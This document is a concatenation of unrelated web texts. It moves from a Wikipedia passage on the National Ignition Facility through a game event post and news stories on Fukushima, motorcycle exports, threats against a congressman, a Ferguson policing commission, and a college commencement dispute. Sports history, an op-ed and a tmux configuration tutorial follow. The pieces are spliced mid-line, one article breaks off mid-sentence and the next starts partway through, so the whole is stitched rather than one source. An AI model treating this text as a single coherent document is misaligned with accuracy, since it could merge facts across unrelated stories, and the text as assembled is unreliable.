Since that time, NIF has returned to materials studies. Experiments beginning in 2015 FY have used plutonium targets, with a schedule containing 10 to 12 shots for 2015, and as many as 120 over the next 10 years.[109] Plutonium shots simulate the compression of the primary in a nuclear bomb by high explosives, which has not seen direct testing since the Comprehensive Test Ban. Tiny amounts of plutonium are used in these tests, ranging from less than a milligram to 10 milligrams.[110] Similar experiments are also carried out on Sandia's Z machine.[111] The director of LLNL's Primary Nuclear Design Program, Mike Dunning, noted that "This is an opportunity for us to get high-quality data using a regime that was previously unavailable to us".[110]
One key development on NIF since the Ignition Campaign has been an increase in the shot rate. Although designed to allow shots as often as every 4 hours,[b] in 2014 FY NIF performed 191 shots, slightly more than one every two days. This has been continuously improved, and in April 2015 NIF was on track to meet its goal of 300 laser shots in 2015 FY, almost one a day.[113]
MagLIF experiments [ edit ]
On 28 January 2016, NIF successfully executed its first gas pipe experiment intended to study the absorption of large amounts of laser light within 1 centimetre (0.39 in) long targets relevant to high-gain Magnetized Liner Inertial Fusion (MagLIF). In order to investigate key aspects of the propagation, stability, and efficiency of laser energy coupling at full scale for high-gain MagLIF target designs, a single quad of NIF was used to deliver 30 kJ of energy to a target during a 13 nanosecond shaped pulse. Data return was very favorable and analysis is ongoing by scientific staff at Lawrence Livermore and Sandia National Laboratories.
Similar projects [ edit ]
Some similar experimental ICF projects are:
Pictures [ edit ]
Viewing port allows a look into the interior of the 30 foot diameter target chamber.
Exterior view of the upper 1/3 of the target chamber. The large square beam ports are prominent.
A technician loads an instrument canister into the vacuum-sealed diagnostic instrument manipulator.
The flashlamps used to pump the main amplifiers are the largest ever in commercial production.
The glass slabs used in the amplifiers are likewise much larger than those used in previous lasers.
In popular culture [ edit ]
The NIF was used as the set for the starship Enterprise's warp core in the 2013 movie Star Trek Into Darkness.[118]
See also [ edit ]
Notes [ edit ]
^ It is not clearly stated why Nova Upgrade would be too small for SSMP, no reason is given in the available resources. ^ [112] One source suggested the ultimate aim was one shot per hour.
References [ edit ]
Coordinates:By Pabro
TLDR: Bilgewater: Burning Tides is over and League has changed forever with the introduction of a new item commemorating Gangplank’s fall.
From Brazil to Korea, Oceania to Europe West, players all over the world took a journey to Bilgewater as part of League’s biggest in-game event. You explored the city online, battled across Butcher’s Bridge, plundered alongside the Black Market Brawlers, and read through the Burning Tides story in three acts. And now you can relive the story with a commemorative version of Burning Tides: The Reckoning. Download the PDF here!
In celebration of Bilgewater: Burning Tides, we’re leaving a permanent mark on League of Legends. As part of the next patch, Dead Man’s Plate will join the armory of League armaments in commemoration of Gangplank’s fall and grim resolve to reclaim his former glory.
As a reminder, all players who owned and played an entire matchmade game as Gangplank during the event will receive the Captain Gangplank skin. It can take up to three days to award everyone their skins. Beginning at 11:00 AM PDT on August 12, the Captain Gangplank skin will be available in the store for 975 RP.
Thank you for joining us on this long voyage, we hope you enjoyed the ride, and we’ll see you out on the battlefields!As engineers, emergency workers and troops battle to regain control of the Fukushima nuclear power plant, life goes on for thousands of people living just beyond a 20-kilometer evacuation zone. But it is not life as normal.
There is something new on Radio Fukushima. Alongside with the weather and traffic reports, the station has begun delivering hourly radiation reports.
Listen carefully and one place stands out: Iitate
The village is 40 kilometers from the power plant, placing it well outside a 20-kilometer evacuation zone and the area where residents are advised to stay indoors.
But the hourly radiation readings here are higher than many towns closer to the Fukushima nuclear power plant, which was disabled by a massive earthquake and tsunami that hit the area on March 11.
At the entrance of the village hall, a plaque proudly displays Iitate's place as one of Japan's 39 most beautiful villages. Driving in to the town it is hard to ignore the scenic valleys, lush forests and distant mountains that earned the honor.
But look beyond the scenery, and you notice there is no one around. Fields are empty, tractors sit idle, and at the center of the village there is no one on the streets.
A few cars and the odd military truck pass through the intersection in front of the impressive village hall. Most of the drivers and their passengers are wearing white masks across their mouths and noses.
The residents are confused, says Takashi Kobayashi, Iitate's general affairs manager.
Kobayashi says because the village is more than 30 kilometers from the power station, the government has offered no recommendations to residents, but the radiation levels remain high.
Farmers working Iitate's fields would exceed the annual recommended radiation limit in less than a month. Last week the International Atomic Energy Agency said radiation levels in soil topped a limit at which evacuation is advisable, but they have since fallen.
The effect on agriculture is a worry. The village is defined by its farms, and their future is now in doubt.
Kobayashi spends his day coordinating part of Iitate's response to the crisis and watching the news for any change in status at the plant.
He says it is difficult to follow. Something gets better one moment, then something else goes wrong. He says that before the crisis he had never heard of microsieverts and becquerel, the units of radiation measurement that he now spends so much time studying.
On Wednesday, village officials offered to evacuate pregnant women or new mothers who are worried about their health.
About 20 kilometers down the road is Minami Soma. The town of 71,000 people sits in the center of the zone where authorities have recommended people stay inside as much as possible.
Although it is closer to the Fukushima plant, radiation levels are about a tenth those of Iitate. A few people can be seen on the streets, but they do not seem to linger outside for long.
A few weeks ago, the town ran short on food and gasoline. Trucks would not travel within 30 kilometers of the Fukushima plant, so deliveries were disrupted.
The mayor's secretary, Sadayasu Abe, says the mayor took to YouTube to appeal for help, and now the town is managing to get enough supplies.
Abe says a few shops have reopened and gasoline is again available. The city office is distributing relief supplies to residents who can not drive to shops.
Some residents are even returning, feeling life at home beats that of an evacuation shelter.
What the town most wants now, says Abe, is a clean bill of health.
If the town gets that, it will again be able to tell residents that Minami Soma is a safe place to live.
About 70,000 people have evacuated from around the Fukushima plant, and with government warnings that the nuclear crisis could go on for months, the communities nearby face a trying future.Runner Automobiles has beefed up its marketing efforts in Nepal in a bid to capture 15 percent of the growing motorcycle market in the Himalayan nation in the next five years.
To this end, Runner Automobiles Ltd recently appointed a distributor, Raman Motors, which is a subsidiary of Nepalese conglomerate Raman General.
Raman has already appointed 11 dealers across the country to sell Runner motorcycles and plans to employ more and introduce after-sales services.
Runner Automobiles started to export two-wheelers to Nepal in January this year, becoming the first motorcycle exporter from Bangladesh.
“Since January, we have shipped 400 motorcycles of seven models,” said Hafizur Rahman Khan, chairman of Runner Automobiles, at a programme to introduce the distributor at Hyatt Regency Hotel in Kathmandu on Saturday.
Since Nepal is a landlocked country, Runner sends shipments through a land route across Kakarbhita, which is only 50 kilometres from Indian and Bangladeshi border points of Fulbari-Banglabandha.
Bangladeshi motorcycles face more than 100 percent duty in the Nepalese market, said Khan. “Still both the market and our business are growing at a fast rate.”
Primarily, Runner has a target to send 3,000 units of motorcycles to Nepal every year.
Khan said Nepal's economy is growing fast and its landscape is also favourable for riding motorcycles in comparison to driving other vehicles. “We have started exporting motorcycles to Nepal as there is a big potential in the market thanks to the country's young population.”
The company's target customers are aged 21 to 35. Runner Automobiles plans to ship motorcycles to other markets in Asia such as Thailand and Cambodia soon. It is also considering African countries like Nigeria and Zimbabwe.
“These are all potential markets for us,” Khan said. According to Khan, Bangladesh can do well in the Nepalese market due to lower production costs compared to that in China and India, the two major players in the motorcycle segment in the country.
Some 200,000 motorcycles are sold in Nepal each year.
Khan also talked about the Bangladesh market where 350,000 units of two-wheelers are sold annually.
The market size in Bangladesh is Tk 3,500 crore with a price average of Tk 100,000 per unit. Runner Automobiles has the capacity to manufacture 1,000 units every day in its Bhaluka plant but produces nearly 500 pieces to cater to both domestic and overseas markets.
The company produces more than 40,000 units of motorbikes a year and controls more than 11 percent of the domestic market.
The plant makes motorbikes with capacities ranging from 80cc to 150cc. Its sales have been growing at 20 percent year-on-year.
“Our target is to export more than the sales in the local market as some markets are opening up,” said Khan, adding that two more local companies are entering into motorcycle manufacturing for the local market.
Runner started its production of motorbikes in 2011 in Bhaluka and currently employs 888 people. It has more than 200 dealers across the country.
Khan urged the government to prepare a guideline for the promising sector and help develop the backward linkage industry.
Some backward linkage companies have already been set up in Bangladesh and they are making seats, chains, indicator lights and plastic products for motorbikes.
Khan sought at least 20 percent cash incentive from the government for the nascent industry.Donald Trump supporters reportedly threatened to “lynch” an African-American politician who called for the US President to be impeached.
Democrat representative Al Green said he had been menaced with threatening phone calls after he took to the House floor to accuse Mr Trump of “obstruction of justice”.
He reportedly played a number of voicemails that had been left by supporters of the Republican leader at a town hall meeting in Houston, but told the crowd he would not be deterred by the messages.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
"We are not going to be intimidated. We are not going to allow this to cause us to deviate from what we believe to be the right thing to do and that is to proceed with the impeachment of President Trump,” he said, according to the Houston Chronicle.
One caller reportedly threatened him with a racial slur before saying he would be “hanging from a tree” if he continues to push for Mr Trump’s impeachment.
"When a person talks about lynching you, we think that's a pretty serious threat," Mr Green said.
Mr Green was the first member of congress to call for Mr Trump’s impeachment on the House floor earlier this, citing the Republican leader’s dismissal of FBI Director James Comey as one of the primary reasons.
"The President fired the FBI Director who was investigating him and said he did it because of the investigation," he said. "That's pretty serious. That's obstruction of justice. We believe no person is above the law, not even the President of the United States of America."
It comes as a source close to Mr Comey said the former FBI director is now convinced Mr Trump was trying to influence his investigation into Russian collusion in his presidential campaign.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowEarlier this evening while chatting with my newlywed neighbors, I tried to put them at ease about parenthood. I told them: It’s not hard, just difficult. When born on time and healthy, babies generally just need food, clean clothes and diapers, and sleep. It takes a while for new parents to get into the groove of parenthood, and for experienced parents to get to know each individual baby. But overall, childcare, especially in the baby stage, isn’t exactly rocket science; which is why we’ve survived as a species. It’s also why even the stupidest people you went to school with have managed to keep all of their kids alive.
But leave it to millennials to overthink parenthood. Recently the New Yorker published a story about a new club for parents in Los Angeles called Loom that was so over-the-top, sane readers must have wondered if the story originally appeared on the satire site The Onion. Here’s a sampling:
A womblike wall of glass sheathes the front of the Loom clubhouse, which was inspired by a Finnish sanatorium of the nineteen-forties. Swatches of lavender paint, chosen for the “coaching” rooms, were taped to the walls. “We wanted a lot of androgynous tones,” Cohen said. She has short dreadlocks and the air of a woman who knows best. “Though lavender might be more of a feminine signifier, I think it leans pretty nicely into both spaces.” Cohen passed out the results of a member survey about potential classes. The winner among expecting parents: “Mind Breath Body” (two hundred and seventy-five dollars for a three-hour class). “It’s our contemporary version of self-hypnosis skills for labor,” Cohen said. “People were super into that! I knew it!” Stacey Heuser, Loom’s publicist, exclaimed. “I get Botox, but I also, like, wanted to have a natural birth.”
The piece goes on to explain the main allure of the club:
The offering that most interested members was “Play” (twenty dollars for an hour). “It’s our unstructured drop-in play group, which we’re dividing into three developmental stages: pre-crawl, crawling, walking,” Cohen said.
Stepping back from the instinct to mock, one is struck by a singular thought: Isn’t that sad? These women (is it politically correct to call these mothers women, or must I use the gender-neutral phrase “parental units?”) are so lost amid a sea of conflicting parenting information, so desperate to do it the “right” way that they are paying twenty dollars per hour to go to a playgroup where they’re instructed on how to parent?
The experience of women paying for what amounts to parenting mentors speaks a great deal to the lack of community that has become a cornerstone of the millennial experience. For many, parenting friends aren’t made at the park, your block or in a mutual friend’s living room. Now, parents feel the need to align themselves according to parenting “philosophies” and pay so-called experts for instruction and fellowship.
I may be destroying Loom’s business model, but I have some advice for their customers (and anyone else who finds it difficult to build a tribe of mothers): Insert yourself. Remember when you were six years old and identified people you wanted to be friends with and simply asked them, “Do you want to be my friend?” Do that again, but a touch more subtly. Get out and participate in activities; go to the playground and the park, and talk to fellow parents. Observe the kids you’d like yours to be like; this will indicate the kind of parenting they’re receiving at home. Befriend their parents and try out the line, “We’d love to get together with you sometime. Mind sharing your phone number and we can text before we head out to this playground again?” Slowly but surely, you’ll develop a group of parenting friends, mentors and mentees, without having to pay for any purple crystals at Loom, or anywhere else.
In the same way that taking care of a baby isn’t hard, parenting needn’t be either. You don’t need a guru; and if you think you do, well, maybe you just need a drink instead. Go ahead and bring your baby to the bar, and chill out. And if there are other parents there with their baby, get their numbers.
This article has been republished with permission from Acculturated.In the wake of the failure of a grand jury proceeding to indict Officer Darren Wilson in Ferguson Missouri, President Obama has finally taken a material rather than rhetorical step on the issue. The widespread unrest sparked by public anger at the killing of unarmed black teenager Michael Brown, who witnesses testified had his hands up surrendering to Wilson, could not be ignored by the Whitehouse any longer. Purportedly to institute policy changes to prevent more Ferguson situations, and return the nation to a modicum of normalcy in the wake of widespread domestic unrest, the President has appointed a commission to recommend national policing reforms.
That commission, rather than being stacked with civil libertarians, seems to be built around a handful of national policing figures with little regard for human rights. Some figures involved in this new process have a long history of suppressing domestic dissent. Their long history of violent repression, and the solutions they and the White House have already made, may lead to a vast expansion of police presence and domestic surveillance.
The Players
The head of Obama's commission is Philadelphia Police Commissioner Charles Ramsey. Prior to being Commissioner in Philadelphia, Ramsey was Chief of the Washington DC Metro Police from 1998 until 2006. Prior to 1998 he was a Commander, then Deputy Chief and then Deputy Superintendent in the Chicago Police Department. His nation-spanning career is also a map of civil rights abuses, and crackdowns against political movements engaged in constitutional protected free speech and public protest.
Ramsey is a board member of PERF, the Police Executive Research Forum. PERF brings together the heads of big-city police departments to share ideas and best practices. It is from PERFs set of ideas that the Whitehouse’s initial recommendations to Obama's commission came. PERF has also been central in the suppression of domestic dissent.
“Welcome to Chicago, We kicked your father’s ass, now we’ll kick yours.” The |
instead offering limited benefits and discount plans for items like dental visits, prescription drugs, and eye-care.
After six months Florida Health Choices only has 30 enrollees, not counting seven plans which were canceled either because the subscribers changed their minds or they failed to pay their premiums.
During that same period, nearly 984,000 Floridians have enrolled in private coverage under Obamacare, leaving nearly 764,000 Floridians who are too poor to afford subsidized plans and unable to qualify for Medicaid due to Florida’s strict standards which the GOP-controlled legislature and Republican governor refuse to alter despite offers of federal assistance.
Citing poor enrollment numbers, one of Florida Health Choices biggest backers, state Sen. Aaron Bean (R-Fernandina Beach), expressed disappointment, saying “Obviously we wanted more (business), but the competition is giving it away for free.”
Rose Naff, CEO of Florida Health Choices, admitted the program is off to a slow start, and said they were seeking new products and companies to partner with, while admitting they have considered selling medical insurance for pets if that would help draw more business.
“We’re going to continue to grow and learn about our users and enhance the platform,” Naff explained.
Naff also pointed out that the program has not spent the entire $900,000 budget and in fact, has more than $1 million in the bank after reaching a settlement in a dispute with the firm originally hired to build the website.
Florida Health Choices is the brainchild of Florida Sen. Marco Rubio (R) who proposed a low income insurance program while serving the Florida legislature.
In December of last year, Rubio enrolled his family in a federal health care exchange created by the Affordable Care Act.
[Image golden retriever puppy playing with a stethoscope on Shutterstock]A 21-year-old Nashville man pulled a gun on the staff of a McDonald’s restaurant when they got his order wrong, say police.
According to WKRN News, Demetri Johnson pulled through the drive-through window last Thursday morning and placed and received an order.
Moments later, he returned to the drive-through and complained that his order was missing a double cheeseburger. The employee working the window asked Johnson to park his car and they would bring the missing burger out to him.
Johnson reportedly flew into a rage and stormed into the restaurant waving a handgun. He and three women who were his passengers demanded that employees fix their order and supply them with fresh orders of french fries and drinks.
Restaurant employees did as Johnson requested. He and his companions left the building and McDonald’s employees called the police.
Police detectives identified Johnson from surveillance footage of the incident. The Nashville man is wanted on felony aggravated assault charges.
Watch video about this story, embedded below:The Chicago Bears and Green Bay Packers have met 192 times, including in the playoffs, the most-played matchup in NFL history. Amid this Rivalry Week, the Bears and Packers take center stage as the NFL’s pre-eminent rivalry.
Other matchups have certainly burned hot in the NFL due to quarterbacks (Brady-Manning), home proximity (Bengals-Browns), divisional standings (the entire NFC East) or just general dislike (Ravens-Steelers), but none match the history of the Bears-Packers matchup. The rivalry started in 1921, and since then the two teams have combined for many big games and big moments. Below is a look at that history.
Who has the edge?
In regular-season play, the Bears hold a 93-91-6 edge against the Packers, but only three points separate the teams. The Bears scored 3,247 points to the Packers’ 3,244 points in those meetings.
Despite playing each other since 1921, the teams have met only twice in postseason play: the 1941 and 2010 seasons. Each time, the winner went on to win the championship.
Dominant stretches
The Bears started the rivalry with a 7-1-3 record against the Packers, shutting out Green Bay in four of the first five games. The Packers won the next seven meetings, which included five straight shutouts, but the Bears controlled the rivalry until the 1960s, posting a 49-26-6 record in that time.
Longest Win Streaks Bears-Packers Rivalry Start-End Packers 10 1994-98 Bears 8 1985-88 Packers 7 2000-03 Packers 7 1928-30
In the '60s, there was the rise of Bart Starr (and the Packers), as they won 20 of their next 25 games against Chicago.
Things tilted back in the Bears' favor for much of the '70s and '80s, with the Bears winning 10 of 11 during the mid-80s. The Packers have taken control since 1992, though. Since then, Brett Favre and Aaron Rodgers have started every game against the Bears, posting a 35-14 record against them (including playoffs). The Bears have started 15 quarterbacks against the Packers in that time.
In one stretch under Favre, the Packers went 18-2 against the Bears. Favre also won 11 consecutive games in Chicago from 1994 to 2005. Rodgers won 10 of 11 against the Bears at one point.
Much of the Packers’ success in the rivalry has centered on their star quarterbacks: Starr, Favre and Rodgers have a combined.685 winning percentage against the Bears, and every other Packers starter has a combined.378 winning percentage.
Favre’s 22 wins against the Bears as a member of the Packers are most by any quarterback in the rivalry.
Dominant players Packers QBs vs Bears Starters, All-Time W-L Win Pct Aaron Rodgers 13-4.765 Brett Favre 22-10.688 Bart Starr 15-9.625 All others 42-71-6.378
Favre has the higher career totals, but Rodgers has been the Bears’ worst nightmare. Rodgers is 13-4 in his career against the Bears, which includes a win in the 2010 NFC Championship Game.
Rodgers has completed 67.2 percent of his passes against the Bears with 35 passing touchdowns (11 interceptions). In 2014, Rodgers threw 10 touchdowns and no interceptions in two games against the Bears.
Walter Payton was equally good against the Packers. Payton played 24 games against the Packers (17-7 record) and averaged 100 yards rushing in those games. Payton rushed for 2,484 yards (4.7 yards per rush) with 19 touchdowns against the Packers.
Bad blood
Naturally a rivalry as long-standing as Bears-Packers would get heated at times. Things appeared to hit their peak in the '80s…
In 1980, after a 61-7 Bears victory, Starr -- then the Packers' head coach -- charged across the field to confront Bears coach Neill Armstrong for blitzing heavily in the fourth quarter.
In 1985, the Bears’ Super Bowl-winning season, the Packers left horse manure in the Bears' locker room when Chicago traveled to Lambeau Field. The Bears won that game 16-10.
A year later, Packers defensive tackle Charles Martin had a “hit list” of Bears numbers on a towel he was wearing. During the game, Jim McMahon threw an interception, Martin grabbed McMahon from behind and slammed him into the turf, injuring McMahon’s shoulder and ending his season.
Odds and ends
- The rivalry started Nov. 21, 1921, with the Chicago Staleys defeating the Packers 20-0. The Staleys became the Bears the next year.
- The last time the Packers and Bears didn’t face each other in a season was 1982. The strike-shortened season prevented the divisional rivals from facing off.
- The highest-scoring game in the rivalry occurred in 1955, when the Bears beat the Packers 52-31. The lowest-scoring game was a 0-0 tie in 1932. There were also two games decided by a final score of 2-0 (1932 and 1938).
- The largest blowout was a 61-7 Bears victory in 1980. The biggest shutout victory was 49-0 by the Packers in 1962.
- One of the few 99-yard passing touchdowns in NFL history occurred in a Bears-Packers game. Favre hit Robert Brooks for 99 yards in 1995.
- Rodgers is the only player to throw for six touchdowns in a Bears-Packers game. He did it in the first half of a 55-14 victory in 2014.Trevor Noah DESTROYS Donald Trump in this #ViralRant pic.twitter.com/bsRdVXn7b3 — The Daily Show (@TheDailyShow) September 15, 2016
Trevor Noah has just about had it with Donald Trump.
The Daily Show host posted a rant on social media on Wednesday night against the Republican candidate, focusing in particular on Trump’s anti-immigration rhetoric.
“Let me tell you about the greatest country in the world. The greatest country in the world is the country that accepts people who come in from everywhere in the world, Mr. Donald Trump,” Noah said. “And I know you think half the country is a ‘basket of deportables’ — yeah, I said it, ‘deportables,’ not ‘deplorables’ — but the good people of America know the greatest country in the world is the country where you can come in and create anything.”
Noah added, “The greatest country in the world is the home of Steve Jobs, a man whose family were refugees who came to this country from the place that you’re trying to shut down. You know who came from Syria? The iPhone came from Syria, Donald Trump — the same iPhone that you tweet shit about the refugees on. So every time you tweet with those fat, little, tiny fingers of yours, you should be saying thank you to them for giving you that same phone.” (Jobs’s biological father was Syrian, but he wasn’t technically a refugee.)
Trump has called Mexican immigrants “rapists” who are “bringing drugs” and “bringing crime” to the US, as well as proposed a ban on all Muslims entering the US. This, Trump says, is part of his plan to “make America great again.”
But Noah said his own personal experience as an immigrant shows America is already great: “The fact that a South African can be sitting in this chair that was once run by an American and can be telling you all of this — this proves how great this country is.”
Watch: This election isn’t just Democrat vs. Republican. It’s normal vs. abnormal.“I thought of the tiger tattoo that flaunted its paws across the forearms of bronze steel muscles that replicated scribbly lines to the six year old instead of contorted rivers," Ricardo read. “The tiger tattoo who belonged to the southern rugged fields of southern rugged men that roared as a distraction at the family dining table as the seven year old spilled the rice and beans in the midst of admiring the ancient artwork.”
Oakland Mayor Libby Schaaf presented Ricardo with a scholarship check for $5,000.
“Poetry has been the one thing that has kept me sane on this crazy crazy planet,” Ricardo, the winning poet, said in a brief acceptance speech. “And I just want us, the youth, to just change this world, to go out there and fight this crazy, crazy system that’s trying to knock all of us down and just speak our truth, because that’s the only thing that’s going to save us. We’re going to save us.”
Ricardo’s writing teacher, Peter Hagen, was at the ceremony. Hagen said Ricardo had only taken his class once before becoming earning the title. "She just ripped the doors off,” Hagen said.
Other youth poets performed their works alongside Ricardo. 18 year old Emerson Amaya, a student at Coliseum College Prep Academy, read a poem that he described as being about "the black brown unity that Oakland really needs.”
“The most powerful thing is when we have young folks together sharing space and telling stories,” Youth Speaks Teaching Artist Gabriel Cortez said. Cortez who emceed the reading.
Ricardo takes over youth poet laureate duties from the 2014 laureate Sophie Elkin, a student at Oakland School for the Arts.In a state that has deep ties to Native American history, an image of the governor's daughter in a Native American headdress is not being received well.
"Derogatory. Offensive. Disrespectful," said Cheyenne Chief Gordon Yellowman.
Yellowman says the image of Christina Fallin insults the honor that headdresses bring to the Native Americans that wear them. He says each feather has special meaning---and it's not to be used as a fashion statement.
Fallin posted the picture Thursday night on Instagram. It's since been deleted.
"I think it's very inappropriate," Yellowman said. "I think sometimes people tend to do things with ignorance when they don't have the true or they don't understand they don't have an educational value of what that object really is. The traditional meaning, the meaning and significance of that headdress"
Fallin issued this statement, saying, in part, "Though it may not have been our own, this aesthetic has affected us emotionally in a very real and very meaningful way. Please forgive us if we innocently adorn ourselves in your beautiful things. We do so with the deepest respect."
But Veronica Bruesch, who is Native American and part of the Wichita tribe says it's an opportunity.
"I couldn't help but think she doesn't know," Bruesch said. "She doesn't understand and that's ok. I'm pretty sure she had a lot of comments made to her and to be honest, being a native woman, I just had empathy."
Chief Gordon agrees. He says it's a chance to tell people about the importance and significance of Native American symbols, like the headdress.
"We're still alive. We're still here, and we still have a culture that's highly respected amongst each other," Bruesch said.
A spokesman for Governor Fallin's office said he had no comment at this time.Rep. Bob Goodlatte (R-Va.), chairman of the House Judiciary Committee, is the key to the future of the Marketplace Fairness Act. (Bill O’Leary/The Washington Post)
Republicans aren’t usually the ones making the case for taxes, but on Thursday, state lawmakers from across the country are bombarding Capitol Hill to push a measure that would require Internet-based companies to remit sales taxes back to the states.
As it stands, state and local sales taxes apply to online sales, but Internet retailers don’t have to charge that tax if they don’t have a physical presence in a state, thanks to a 1992 Supreme Court ruling. The onus for paying the taxes falls on the buyers, who almost never actually pay that tax.
Brick-and-mortar retailers say that puts them at a deep disadvantage. Customers can window shop in their stores, then buy the same item online for a cheaper price, in part because a sales tax doesn’t apply.
“This is a very important thing to level the playing field for all the retailers,” Luke Kenley, an Indiana Republican who chairs the state Senate Appropriations Committee, said Thursday.
The Senate passed the Marketplace Fairness Act earlier this year, but the measure has been stuck in the House Judiciary Committee, where chairman Bob Goodlatte (R-Va.) says he still has concerns.
In September, Goodlatte and Rep. Spencer Bachus (R-Ala.) released a list of seven principles that an Internet tax bill would have to meet. Lawmakers said the Marketplace Fairness Act would meet most of those principles already. Goodlatte is concerned that the bill would exempt some smaller online-only retailers, giving them a leg up.
South Dakota state Sen. Deb Peters, who chairs the Appropriations Committee in her state, said the technology is available to allow online retailers to comply with the hodgepodge of state laws. She cast the measure in Republican terms, as a matter of states’ rights.
“Congress needs to authorize the ability for states’ rights,” Peters said. “If Congressman Goodlatte has a bill, whatever you want to call it, that authorizes states to do what states can or will do, that’s all we need.”
“Without the permissive aspect of what we’re seeking here on a states’ rights issue, 50 states and U.S. jurisdictions are being held hostage,” added Alabama state Rep. Greg Wren (R), a member of his state’s Ways and Means Committee. “If the definition federalism has evolved to a point where federalism now means there can be a userpation of states’ rights, then we all need to go back to school.”
The Republicans will meet Thursday with leading members of Congress, including Rep. Paul Ryan (R-Wis.), the chairman of the House Budget Committee. They met with Goodlatte last month, but they don’t have a meeting scheduled with the chairman this week.
“We admit it, he’s the key,” Kenley said.Students at Bethune-Cookman University are furious that Secretary of Education Betsy DeVos is slated to deliver their commencement address, calling the invitation an “insult” to graduates.
After confirming that DeVos is scheduled to speak at the school, which is among the nation’s Historically Black Colleges and Universities (HBCU), BCU alumnus Dominik Whitehead created a Change.org petition demanding that the invitation be rescinded.
“I am of the belief that it does not benefit our students to suppress voices that we disagree with.”
At press time, the petition had garnered 5,661 signatures in the space of five days, approaching its goal of 7,500.
“With all the facts provided, why on earth would Bethune-Cookman University invite Secretary DeVos to be the commencement speaker for their spring graduation ceremony?” the petition asks. “Bethune-Cookman University doesn't need a photo op from the Trump Administration, we need action done by this administration for all HBCUs.”
[RELATED: Majority of HBCU students favor evicting media from protests]
President Trump did, notably, recently sign an executive order reviving a White House initiative on HBCUs, and a White House press release boasted at the time that the Trump administration will do more for such institutions than the nation’s first black president ever did.
But BCU students are still displeased with the selection of DeVos, taking particular issue with a recent comment she made calling HBCUs the “real pioneers when it comes to school choice,” a statement she corrected the following day.
“Betsy DeVos doesn’t understand that HBCUs were created because African Americans were excluded from mainstream institutions,” the petition declares, saying DeVos “has no understanding of the importance, contributions, and significance of HBCUs.”
The petition also complains about an April memo from DeVos that, according to the petition, “threatens to dismantle” income-based repayment plans and loan forgiveness programs that many BCU students utilize to help them repay student loan debt.
“President Barack Obama’s administration offered income-based repayment plans and student loan forgiveness programs. DeVos’ April 11th memo threatens to dismantle those very helpful programs,” the document asserts. “This means that lenders will not have any restrictions while attempting to collect the money that was borrowed by students.”
[RELATED: Prof says historically black university pressured him to discriminate]
Taking the matter one step further, a local NAACP chapter organized a demonstration against DeVos’s invitation Wednesday, and many students are also vowing to protest at the commencement itself, according to News 13.
BCU President Edison Jackson, however, responded to the backlash with a statement Wednesday flatly refusing to withdraw the invitation, even taking full responsibility for extending it in the first place.
“The political and racial chasms in our county have deepened, and college presidents have struggled with these issues over the past few months,” Jackson acknowledged, but added that while “some have responded by rescinding invitations to potentially controversial speakers...I am of the belief that it does not benefit our students to suppress voices that we disagree with, or to limit students to only those perspectives that are broadly sanctioned by a specific community.”
[RELATED: School founded by black Civil War veterans eliminates history programs]
He went on to argue that the school’s founder, Mary McLeod Bethune, would have supported the decision to bring DeVos to commencement.
“She did all she could during the nascent stages of this institution to equip her students with the necessary skills to navigate the precarious waters of fundamental disagreement,” Jackson contends. “She modeled this by interacting with and uniquely engaging those who had to be convinced of her mission to provide education to her people.”
Department of Education Press Secretary Liz Hill concurred with Jackson on the importance of exposure to contrasting viewpoints, saying in a statement that DeVos is “honored” to be delivering the 2017 commencement address at BCU, and “believes that open dialogue and a willingness to work together are key to solving our nation’s most pressing issues.”
Follow the author of this article on Twitter: @AGockowski9 minutes read
In my previous blog post I gave a quick and easy introduction to tmux and explained how to use tmux with a basic configuration.
If you’ve followed that guide you might have had a feeling that many people have when working with tmux for the first time: “These key combinations are really awkward!”. Rest assured, you’re not alone. Judging from the copious blog posts and dotfiles repos on GitHub there are many people out there who feel the urge to make tmux behave a little different; to make it more comfortable to use.
And actually it’s quite easy to customize the look and feel of tmux. Let me tell you something about the basics of customizing tmux and share some of the configurations I find most useful.
Customizing tmux
Customizing tmux is as easy as editing a text file. tmux uses a file called tmux.conf to store its configuration. If you store that file as ~/.tmux.conf (Note: there’s a period as the first character in the file name. It’s a hidden file) tmux will pick this configuration file for your current user. If you want to share a configuration for multiple users (e.g. if you should feel the urge to start tmux as super user (please think about this carefully!)) you can also put your tmux.conf into a system-wide directory. The location of this directory will be different accross different operating systems. The man page ( man tmux ) will tell you the exact location, just have a look at documentation for the -f parameter.
Less awkward prefix keys
Probably the most common change among tmux users is to change the prefix from the rather awkward C-b to something that’s a little more accessible. Personally I’m using C-a instead but note that this might interfere with bash’s “go to beginning of line” command. On top of the C-a binding I’ve also remapped my Caps Lock key to act as Ctrl since I’m not using Caps Lock anyways. This allows me to nicely trigger my prefix key combo.
To change your prefix from C-b to C-a, simply add following lines to your tmux.conf:
# remap prefix from 'C-b' to 'C-a' unbind C-b set-option -g prefix C-a bind-key C-a send-prefix
Sane Split Commands
Another thing I personally find quite difficult to remember is the pane splitting commands. I mean, seriously? " to split vertically and % to split horizontally? Who’s supposed to memorize that? I find it helpful to have the characters as a visual representation of the split, so I chose | and - for splitting panes:
# split panes using | and - bind | split-window -h bind - split-window -v unbind '"' unbind %
Easy Config Reloads
Since I’m experimenting quite often with my tmux.conf I want to reload the config easily. This is why I have a command to reload my config on r :
# reload config file (change file location to your the tmux.conf you want to use) bind r source-file ~/.tmux.conf
Fast Pane-Switching
Switching between panes is one of the most frequent tasks when using tmux. Therefore it should be as easy as possible. I’m not quite fond of triggering the prefix key all the time. I want to be able to simply say M-<direction> to go where I want to go (remember: M is for Meta, which is usually your Alt key). With this modification I can simply press Alt-left to go to the left pane (and other directions respectively):
# switch panes using Alt-arrow without prefix bind -n M-Left select-pane -L bind -n M-Right select-pane -R bind -n M-Up select-pane -U bind -n M-Down select-pane -D
Mouse mode
Although tmux clearly focuses on keyboard-only usage (and this is certainly the most efficient way of interacting with your terminal) it can be helpful to enable mouse interaction with tmux. This is especially helpful if you find yourself in a situation where others have to work with your tmux config and naturally don’t have a clue about your key bindings or tmux in general. Pair Programming might be one of those occasions where this happens quite frequently.
Enabling mouse mode allows you to select windows and different panes by simply clicking on them. I’ve found that this might mess a little bit with simply selecting text in your terminal using the mouse. You might experience the same, depending on your environment. So you should consider if this configuration is something that’s worth it for your use case:
